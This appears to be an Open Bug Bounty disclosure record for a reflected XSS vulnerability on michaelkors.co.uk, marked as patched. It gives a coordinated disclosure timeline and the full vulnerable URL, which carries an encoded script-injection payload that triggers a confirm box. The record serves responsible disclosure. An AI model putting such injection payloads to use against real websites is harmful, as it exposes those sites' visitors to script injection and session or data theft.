Lucene search
NathanleegrantOBB:213744HistoryFeb 15, 2017 - 1:17 p.m.
michaelkors.co.uk XSS vulnerability
2017-02-1513:17:00
nathanleegrant
www.openbugbounty.org
9
Vulnerable URL:
http://www.michaelkors.co.uk/search/_/N-6f9dqlZzcktlt/Ntt-jeans%22%7D%7D%7D%7D%3C//scriptalert/%22%3E%3Cy%20onafterscriptexecute=%22confirm%60OPENBUGBOUNTY%60%22%3E%3C/script%3Exss%3Cy//a/|//=%20%20confirm.;
Details:
| Description | Value |
|---|---|
| Patched: | Yes, at |
| Vulnerability type: | XSS |
| Vulnerability status: | Publicly disclosed |
| Alexa Rank | 98514 |
| VIP website status: | No |
| Check michaelkors.co.uk SSL connection: | (Grade: A) |
Coordinated Disclosure Timeline:
| Description | Value |
|---|---|
| Vulnerability submitted via Open Bug Bounty | 15 February, 2017 13:17 GMT |
| Vulnerability existence verified and confirmed | 16 February, 2017 06:57 GMT |
| Generic security notifications sent to website owner | 16 February, 2017 06:57 GMT |
| Vulnerability details disclosed by researcher | 16 March, 2017 07:14 GMT |